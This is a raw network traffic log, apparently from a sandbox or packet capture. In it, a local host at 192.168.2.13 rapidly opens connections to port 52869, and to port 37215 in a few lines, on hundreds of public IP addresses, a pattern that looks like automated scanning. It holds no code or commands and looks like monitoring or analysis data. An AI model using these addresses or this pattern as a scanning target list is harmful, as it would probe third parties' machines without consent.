Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	176.151.180.197
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	168.69.38.135
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	165.95.243.107
Jul 20, 2024 23:00:58.604381084 CEST	52869	50566	177.80.161.196	192.168.2.13
Jul 20, 2024 23:00:58.605638981 CEST	52869	50566	166.138.104.159	192.168.2.13
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	107.240.237.92
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	153.228.1.122
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	61.243.237.42
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	80.185.229.52
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	185.135.224.163
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	27.119.187.115
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	177.17.146.64
Jul 20, 2024 23:00:58.606374025 CEST	50566	52869	192.168.2.13	203.199.77.0
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	164.8.255.47
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	157.40.9.209
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	71.112.213.237
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	176.69.59.228
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	92.52.112.233
Jul 20, 2024 23:00:58.606518030 CEST	50566	52869	192.168.2.13	37.205.184.129
Jul 20, 2024 23:00:58.606518984 CEST	50566	52869	192.168.2.13	44.173.173.82
Jul 20, 2024 23:00:58.606518984 CEST	50566	52869	192.168.2.13	13.5.180.251
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	80.23.237.104
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	44.23.102.38
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	192.68.43.47
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	64.221.139.232
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	128.41.52.94
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	47.216.151.83
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	99.98.60.23
Jul 20, 2024 23:00:58.606827974 CEST	50566	52869	192.168.2.13	203.78.23.158
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	216.1.152.81
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	221.85.136.10
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	111.37.65.174
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	179.27.16.177
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	115.130.21.220
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	40.14.24.23
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	184.235.53.151
Jul 20, 2024 23:00:58.607626915 CEST	50566	52869	192.168.2.13	122.26.122.109
Jul 20, 2024 23:00:58.607865095 CEST	52869	50566	98.206.22.13	192.168.2.13
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	172.54.67.32
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	53.36.224.51
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	160.161.205.189
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	83.201.72.91
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	80.21.51.67
Jul 20, 2024 23:00:58.608050108 CEST	50566	52869	192.168.2.13	180.115.139.253
Jul 20, 2024 23:00:58.608051062 CEST	50566	52869	192.168.2.13	57.53.68.209
Jul 20, 2024 23:00:58.608051062 CEST	50566	52869	192.168.2.13	84.50.117.185
Jul 20, 2024 23:00:58.608222008 CEST	50566	52869	192.168.2.13	76.214.57.173
Jul 20, 2024 23:00:58.608222008 CEST	50566	52869	192.168.2.13	79.212.148.111
Jul 20, 2024 23:00:58.608222008 CEST	50566	52869	192.168.2.13	128.199.8.22
Jul 20, 2024 23:00:58.608222008 CEST	50566	52869	192.168.2.13	85.119.116.161
Jul 20, 2024 23:00:58.608222008 CEST	50566	52869	192.168.2.13	119.98.5.56
Jul 20, 2024 23:00:58.608222961 CEST	50566	52869	192.168.2.13	205.42.188.114
Jul 20, 2024 23:00:58.608222961 CEST	50566	52869	192.168.2.13	48.8.140.39
Jul 20, 2024 23:00:58.608222961 CEST	50566	52869	192.168.2.13	189.31.8.6
Jul 20, 2024 23:00:58.608390093 CEST	50566	52869	192.168.2.13	174.91.217.145
Jul 20, 2024 23:00:58.608391047 CEST	50563	37215	192.168.2.13	41.83.245.140
Jul 20, 2024 23:00:58.608391047 CEST	50563	37215	192.168.2.13	197.185.234.156
Jul 20, 2024 23:00:58.608391047 CEST	50566	52869	192.168.2.13	173.70.195.138
Jul 20, 2024 23:00:58.608391047 CEST	50566	52869	192.168.2.13	47.131.156.7
Jul 20, 2024 23:00:58.608391047 CEST	50566	52869	192.168.2.13	180.57.201.161
Jul 20, 2024 23:00:58.608391047 CEST	50566	52869	192.168.2.13	219.121.3.137
Jul 20, 2024 23:00:58.608391047 CEST	50566	52869	192.168.2.13	100.58.169.89
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	107.72.137.218
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	25.80.16.248
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	180.65.20.59
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	218.20.101.200
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	47.213.153.93
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	199.27.45.116
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	170.157.248.9
Jul 20, 2024 23:00:58.609559059 CEST	50566	52869	192.168.2.13	68.212.46.170
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	81.73.195.232
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	153.33.151.65
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	183.32.240.14
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	9.155.213.68
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	168.61.125.85
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	191.94.176.193
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	216.194.176.131
Jul 20, 2024 23:00:58.610611916 CEST	50566	52869	192.168.2.13	125.82.19.196
Jul 20, 2024 23:00:58.610727072 CEST	52869	50566	72.223.231.71	192.168.2.13
Jul 20, 2024 23:00:58.611067057 CEST	52869	50566	144.20.248.235	192.168.2.13
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	47.206.114.161
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	45.82.22.110
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	93.45.131.232
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	125.107.103.36
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	74.192.189.61
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	103.52.5.46
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	196.99.77.216
Jul 20, 2024 23:00:58.611733913 CEST	50566	52869	192.168.2.13	66.23.55.168
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	216.241.15.75
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	1.182.170.234
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	171.10.210.242
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	133.30.83.235
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	164.36.160.91
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	173.178.123.107
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	150.160.228.141
Jul 20, 2024 23:00:58.611807108 CEST	50566	52869	192.168.2.13	168.22.17.12
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	99.53.31.152
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	77.151.45.7
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	174.151.133.218
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	123.54.34.16
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	125.100.54.174
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	200.151.2.187
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	146.202.183.226
Jul 20, 2024 23:00:58.612220049 CEST	50566	52869	192.168.2.13	140.3.48.59
Jul 20, 2024 23:00:58.612291098 CEST	52869	50566	39.22.225.232	192.168.2.13
Jul 20, 2024 23:00:58.612519026 CEST	52869	50566	168.52.245.30	192.168.2.13
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	38.49.123.120
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	175.10.79.147
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	150.134.45.104
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	183.33.143.75
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	143.236.166.197
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	160.241.202.23
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	213.139.43.137
Jul 20, 2024 23:00:58.612704039 CEST	50566	52869	192.168.2.13	188.53.105.187
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	58.234.199.253
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	60.17.2.252
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	106.194.122.151
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	71.163.97.163
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	32.227.60.125
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	87.197.185.245
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	82.109.129.250
Jul 20, 2024 23:00:58.612773895 CEST	50566	52869	192.168.2.13	8.92.236.109
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	39.240.110.128
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	54.236.238.51
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	49.146.39.71
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	71.95.23.241
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	61.114.188.190
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	35.206.55.83
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	13.232.225.193
Jul 20, 2024 23:00:58.613523006 CEST	50566	52869	192.168.2.13	154.241.18.163
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	204.210.9.128
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	183.244.92.210
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	47.222.214.79
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	110.74.122.205
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	219.208.149.193
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	126.183.144.210
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	188.112.111.250
Jul 20, 2024 23:00:58.615519047 CEST	50566	52869	192.168.2.13	95.49.112.227
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	68.121.34.42
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	125.164.27.59
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	171.240.202.47
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	44.132.115.96
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	129.129.114.137
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	83.246.55.163
Jul 20, 2024 23:00:58.615875006 CEST	50566	52869	192.168.2.13	25.165.116.161
Jul 20, 2024 23:00:58.615875959 CEST	50566	52869	192.168.2.13	57.159.28.229
Jul 20, 2024 23:00:58.615978956 CEST	52869	50566	174.91.217.145	192.168.2.13
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	180.172.27.58
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	212.236.99.62
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	138.103.93.174
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	72.73.27.176
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	18.36.94.165
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	81.200.82.191
Jul 20, 2024 23:00:58.615998030 CEST	50566	52869	192.168.2.13	149.199.212.139
Jul 20, 2024 23:00:58.615998983 CEST	50566	52869	192.168.2.13	179.192.77.74
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	159.49.210.209
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	97.73.103.191
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	218.127.224.225
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	75.230.189.233
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	43.227.45.146
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	61.188.220.39
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	208.63.205.212
Jul 20, 2024 23:00:58.616334915 CEST	50566	52869	192.168.2.13	86.187.37.161
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	206.239.43.25
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	2.28.103.200
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	189.137.25.66
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	94.248.166.17
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	175.128.0.221
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	119.101.229.136
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	51.235.63.131
Jul 20, 2024 23:00:58.616477013 CEST	50566	52869	192.168.2.13	20.31.246.98
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	27.69.33.52
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	69.143.108.77
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	197.131.53.164
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	136.250.220.23
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	170.16.122.182
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	102.15.208.230
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	121.86.65.117
Jul 20, 2024 23:00:58.617733955 CEST	50566	52869	192.168.2.13	167.173.14.73
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	2.140.192.19
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	156.86.42.62
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	122.79.251.45
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	51.96.116.119
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	153.155.108.234
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	69.104.48.74
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	35.184.178.90
Jul 20, 2024 23:00:58.618148088 CEST	50566	52869	192.168.2.13	39.27.250.37
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	23.205.8.163
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	94.168.82.2
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	177.232.90.95
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	164.253.162.178
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	193.33.7.98
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	69.5.79.227
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	37.158.177.197
Jul 20, 2024 23:00:58.618510962 CEST	50566	52869	192.168.2.13	20.229.228.245
Jul 20, 2024 23:00:58.618763924 CEST	50566	52869	192.168.2.13	153.157.53.91
Jul 20, 2024 23:00:58.618763924 CEST	50566	52869	192.168.2.13	193.188.51.202
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	89.119.163.150
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	196.106.32.84
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	51.24.132.201
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	190.248.188.149
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	125.156.21.212
Jul 20, 2024 23:00:58.618765116 CEST	50566	52869	192.168.2.13	208.184.42.77
Jul 20, 2024 23:00:58.618824005 CEST	50566	52869	192.168.2.13	44.43.53.120
Jul 20, 2024 23:00:58.618824005 CEST	50566	52869	192.168.2.13	141.92.48.163
Jul 20, 2024 23:00:58.618824005 CEST	50566	52869	192.168.2.13	108.143.152.115
Jul 20, 2024 23:00:58.618824005 CEST	50566	52869	192.168.2.13	50.89.225.174
Jul 20, 2024 23:00:58.618824959 CEST	50566	52869	192.168.2.13	109.117.177.225
Jul 20, 2024 23:00:58.618824959 CEST	50566	52869	192.168.2.13	139.39.66.251
Jul 20, 2024 23:00:58.618824959 CEST	50566	52869	192.168.2.13	103.20.55.157
Jul 20, 2024 23:00:58.618824959 CEST	50566	52869	192.168.2.13	165.233.123.198
Jul 20, 2024 23:00:58.618880033 CEST	50566	52869	192.168.2.13	77.222.205.40
Jul 20, 2024 23:00:58.618880033 CEST	50566	52869	192.168.2.13	97.132.111.117
Jul 20, 2024 23:00:58.618880033 CEST	50566	52869	192.168.2.13	89.57.196.100
Jul 20, 2024 23:00:58.618880033 CEST	50566	52869	192.168.2.13	210.242.150.143
Jul 20, 2024 23:00:58.618880987 CEST	50566	52869	192.168.2.13	83.59.61.36
Jul 20, 2024 23:00:58.618880987 CEST	50566	52869	192.168.2.13	47.14.186.72
Jul 20, 2024 23:00:58.618880987 CEST	50566	52869	192.168.2.13	219.243.137.80
Jul 20, 2024 23:00:58.618880987 CEST	50566	52869	192.168.2.13	92.60.201.159
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	166.215.135.145
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	89.147.138.13
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	1.93.104.156
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	107.110.195.106
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	62.197.26.141
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	66.255.33.96
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	162.80.101.59
Jul 20, 2024 23:00:58.619054079 CEST	50566	52869	192.168.2.13	41.15.71.109
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	136.237.32.135
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	160.16.36.24
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	52.36.169.180
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	125.144.188.68
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	211.101.111.202
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	165.129.147.159
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	37.147.105.215
Jul 20, 2024 23:00:58.619366884 CEST	50566	52869	192.168.2.13	94.115.107.9
Jul 20, 2024 23:00:58.619993925 CEST	50566	52869	192.168.2.13	208.231.11.25
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	61.164.49.186
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	138.127.88.111
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	216.191.207.19
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	200.250.160.249
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	216.204.83.196
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	216.119.27.164
Jul 20, 2024 23:00:58.619995117 CEST	50566	52869	192.168.2.13	125.70.94.22
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	193.180.100.0
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	36.232.58.83
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	57.187.233.142
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	119.146.253.87
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	72.7.221.140
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	186.168.105.239
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	156.105.141.113
Jul 20, 2024 23:00:58.620557070 CEST	50566	52869	192.168.2.13	161.75.245.170
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	135.166.38.24
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	9.27.53.209
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	164.103.112.227
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	186.200.127.168
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	199.90.216.200
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	62.103.234.11
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	197.160.207.232
Jul 20, 2024 23:00:58.621057987 CEST	50566	52869	192.168.2.13	168.7.252.176
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	91.109.123.243
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	94.116.220.172
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	44.182.131.46
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	175.40.199.191
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	73.82.130.45
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	17.109.190.159
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	193.94.110.185
Jul 20, 2024 23:00:58.621246099 CEST	50566	52869	192.168.2.13	91.161.176.57
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	202.90.219.235
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	203.156.222.186
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	31.120.156.14
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	177.166.27.191
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	118.198.234.136
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	36.199.146.246
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	201.251.79.68
Jul 20, 2024 23:00:58.621464968 CEST	50566	52869	192.168.2.13	64.122.190.208
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	31.132.206.184
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	195.20.150.199
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	183.195.202.85
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	43.61.45.188
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	211.242.20.87
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	202.207.165.100
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	212.168.65.122
Jul 20, 2024 23:00:58.621731043 CEST	50566	52869	192.168.2.13	41.23.75.128
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	118.14.138.64
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	196.182.26.8
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	25.163.230.218
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	180.68.201.82
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	31.162.116.159
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	66.107.82.216
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	125.98.37.19
Jul 20, 2024 23:00:58.621886015 CEST	50566	52869	192.168.2.13	1.218.125.34
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	92.53.90.114
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	177.45.38.44
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	179.130.41.148
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	156.112.183.236
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	109.34.203.125
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	84.243.9.12
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	52.66.229.107
Jul 20, 2024 23:00:58.623172045 CEST	50566	52869	192.168.2.13	81.18.198.165
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	112.136.148.134
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	80.49.148.206
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	64.225.124.7
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	128.25.16.1
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	172.48.61.126
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	193.52.124.252
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	118.77.193.45
Jul 20, 2024 23:00:58.623219967 CEST	50566	52869	192.168.2.13	52.193.141.176
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	129.83.140.88
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	13.30.145.14
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	93.90.85.174
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	157.99.7.27
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	199.84.124.13
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	66.130.146.7
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	36.114.179.164
Jul 20, 2024 23:00:58.623569012 CEST	50566	52869	192.168.2.13	207.120.35.6
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	89.231.113.26
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	13.155.75.186
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	153.244.29.115
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	45.105.20.114
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	95.80.28.21
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	94.137.9.128
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	187.194.103.87
Jul 20, 2024 23:00:58.623712063 CEST	50566	52869	192.168.2.13	218.27.145.147
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	154.238.207.143
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	133.2.222.184
Jul 20, 2024 23:00:58.624686003 CEST	50566	52869	192.168.2.13	122.195.113.112
